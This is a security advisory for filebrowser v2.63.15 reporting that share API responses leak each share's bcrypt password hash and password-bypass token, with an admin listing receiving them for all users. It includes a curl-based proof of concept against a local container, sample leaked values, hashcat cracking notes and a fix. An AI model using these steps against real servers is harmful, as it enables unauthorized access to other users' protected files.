GHSA-833g-cqhp-h72j

## Summary

When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.

## Details

**1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)**

```go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed // Token is only set when PasswordHash is set; it bypasses the password. Token string `json:"token,omitempty"` // line 19, bypass token exposed } ```

`omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.

**2. The share handlers return the full struct through unfiltered `json.Marshal`**

`sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client.

**3. Administrators receive every user's secrets (`http/share.go:36`)**

```go s, err = d.store.Share.All() // admin path: returns ALL users' shares // ... return renderJSON(w, r, s) // including each share's password_hash and token ```

An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users.

## PoC

Tested against `filebrowser/filebrowser:v2.63.15`.

**Attack Vector: read the bcrypt hash and bypass token from the share API:**

```bash #1. Seed a file in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv/user1 echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090

#2. Log in as admin AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create a password-protected share curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \ -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'

#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token) curl -s "$B/api/shares" -H "X-Auth: $T" ```

The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password.

Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):

Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`:

```http POST /api/share/user1/readme.txt -> 200 GET /api/shares -> 200 { "hash": "yy9159Cs", "path": "/user1/readme.txt", "userID": 1, "expire": 1781758642, "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla", "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..." } ```

The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password.

## Impact

- **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline. - **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. - **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. - **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery.

## Recommended Fix

Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:

```go // share/share.go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"-" storm:"index"` // never serialize Token string `json:"-"` // never serialize in list responses } ```

`PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.